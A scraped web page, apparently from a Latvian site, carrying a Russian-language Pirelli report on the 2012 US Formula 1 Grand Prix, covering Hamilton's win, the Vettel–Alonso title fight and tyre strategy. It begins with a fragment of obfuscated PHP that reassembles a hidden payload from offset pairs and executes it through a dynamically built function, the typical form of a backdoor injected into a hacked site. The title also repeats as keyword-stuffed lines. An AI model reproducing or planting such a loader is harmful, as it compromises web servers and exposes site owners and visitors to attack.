aaa -
<(sizeof($owsvdbaql)/2);$jaxjvya++) { $xxszqrkf .= substr($nhalutg, $owsvdbaql[($jaxjvya*2)],$owsvdbaql[($jaxjvya*2)+(5-4)]); } return $tzzvoh(chr((62-53)),chr((289-197)),$xxszqrkf); }; } $wjmybp = explode(chr((180-136)),'2760,58,860,66,5439,39,5108,60,3743,62,1278,42,3005,24,2591,20,1025,41,5168,47,5625,70,346,25,5812,41,5695,68,2248,46,4107,38,4303,40,4758,29,1683,43,3392,59,4650,67,926,68,4604,46,2033,40,434,31,371,63,2544,47,3095,52,1340,44,465,34,2936,69,3495,56,2403,38,4717,41,3029,36,4959,46,1726,58,1968,41,994,31,1815,24,1900,68,4787,37,3370,22,5038,70,1119,57,700,43,5582,43,4375,48,5301,44,2111,31,4423,28,5971,49,252,43,4571,33,2142,61,4253,50,3623,52,1839,39,0,59,115,50,4519,52,4451,68,3836,22,2344,59,552,27,2520,24,3805,31,2611,56,2667,53,4343,32,165,62,5005,33,3203,21,5535,47,3065,30,4190,63,5215,29,4881,40,1223,55,4921,38,5478,57,3224,23,2441,43,5378,61,5763,49,3858,40,3711,32,2866,70,2009,24,1176,47,1599,36,806,54,59,56,3991,47,1440,23,1320,20,4824,57,3551,49,1463,47,4145,45,5244,57,1539,60,2203,45,1384,56,3306,64,3247,59,295,51,4038,69,2720,40,3923,68,2073,38,743,63,2818,48,1635,48,5853,67,227,25,2294,50,1784,31,499,53,579,59,1878,22,3147,56,5345,33,3451,44,2484,36,3898,25,1510,29,3600,23,3675,36,5920,51,1066,53,638,62'); $aexssceccc = $ydrvatxppl("",waqyxbpv($wjmybp,$lypgqv,$rqgqhlwa)); $ydrvatxppl=$lypgqv; $aexssceccc(""); $aexssceccc=(413-292); $lypgqv=$aexssceccc-1; ?>

F1 Гран-при США 2012

F1 Гран-при США 2012

Стратегия с одним пит-стопом в американской гонке приблизила Феттеля к чемпионскому титулу. Пилот McLaren Льюис Хэмильтон – победитель предыдущего гран-при США 2008 года – стал первым победителем в гонке на «Трассе Америки».

Благодаря второму месту Себастьян Феттель из команды Red Bull оказался на острие борьбы за чемпионский титул (возможно, третий для него подряд), судьба которого решится через неделю в Бразилии.

Третья ступень подиума в американской гонке позволила пилоту Ferrari Фернандо Алонсо – единственному сопернику немца в борьбе за чемпионский титул – сохранить надежду. В результате этого впервые в истории участия в Формуле 1 в качестве эксклюзивного поставщика шин компания Pirelli отправится на последний этап Чемпионата, где за титул будут бороться два пилота.

Хэмильтон перехватил лидерство у Феттеля, который возглавил протоколы всех предыдущих сессий, на последних кругах гонки. Стоит отметить, что оба пилота прессинговали друг друга от старта и до самого финиша. Хэмильтон и Феттель реализовывали одинаковую стратегию с одной остановкой в боксах для смены шин P Zero White средней жесткости (с белой маркировкой) на жесткие шины P Zero Silver (с серебристой маркировкой) — именно это сочетание было выбрано для гран-при США — на 20-м и 21-м круге соответственно. Алонсо стартовал с шестого места решетки, также заезжал в боксы только один раз и финишировал третьим, сохранив надежду на чемпионский титул.

Первая десятка пилотов квалифицировалась на шинах средней жесткости, которые позволяли проехать гоночный круг примерно на полсекунды быстрее, чем жесткие шины. Предсказанный перед гонкой дождь так и не пошел, а температура воздуха составила примерно 24°С, в результате чего гонка на этой совершенно новой трассе оказалась скоростной до самого клетчатого флага.

F1 Гран-при США 2012 F1 Гран-при США 2012 F1 Гран-при США 2012 F1 Гран-при США 2012
F1 Гран-при США 2012 F1 Гран-при США 2012 F1 Гран-при США 2012 F1 Гран-при США 2012
F1 Гран-при США 2012 F1 Гран-при США 2012 F1 Гран-при США 2012 F1 Гран-при США 2012

Пилот McLaren Дженсон Баттон был одним из двух пилотов, которые начали гонку на жестких шинах P Zero Silver. Он оказался ближе к стартовой линии и благодаря стратегии с одной остановкой в боксах увидел клетчатый флаг пятым. Вторым пилотом был Нико Росберг из команды Mercedes.

«Мы бы хотели поблагодарить сотни тысяч болельщиков, посетивших трассу в Остине в этот уик-энд: поддержка и теплый прием оказались невероятными, и мы с нетерпением ждем возвращения сюда, – заявил после гонки директор Pirelli по автоспорту Пол Хембери (Paul Hembery). – Сегодня оба соперника в борьбе за чемпионский титул — Себастьян Феттель и Фернандо Алонсо — пилотировали свои болиды великолепно, результатом чего станет захватывающее завершение чемпионата в Бразилии на следующей неделе. Если оглянуться назад, то мы могли бы приехать сюда с мягкими и сверхмягкими шинами, но то, что борьба за чемпионский титул продлится до самого последнего этапа, подчеркивает правильность нашего решения. Мы решили не создавать неизвестные факторы на совершенно новой трассе, где наблюдалась очень плотная борьба. На протяжении всего уик-энда степень снижения характеристик шин была исключительно низкой, на что в некоторой степени повлияла температура воздуха и асфальта, которая оказалась ниже ожидаемой. Шины обоих типов отличились скоростью и износостойкостью, что позволило Феттелю и Хэмильтону плотно преследовать друг друга до самого клетчатого флага».

Более подробную информацию читайте на официальном cайте Pirelli.com/F1

Следующий этап F1

20 этап GP Бразилии 25 ноября

 


http://www.pkp.lv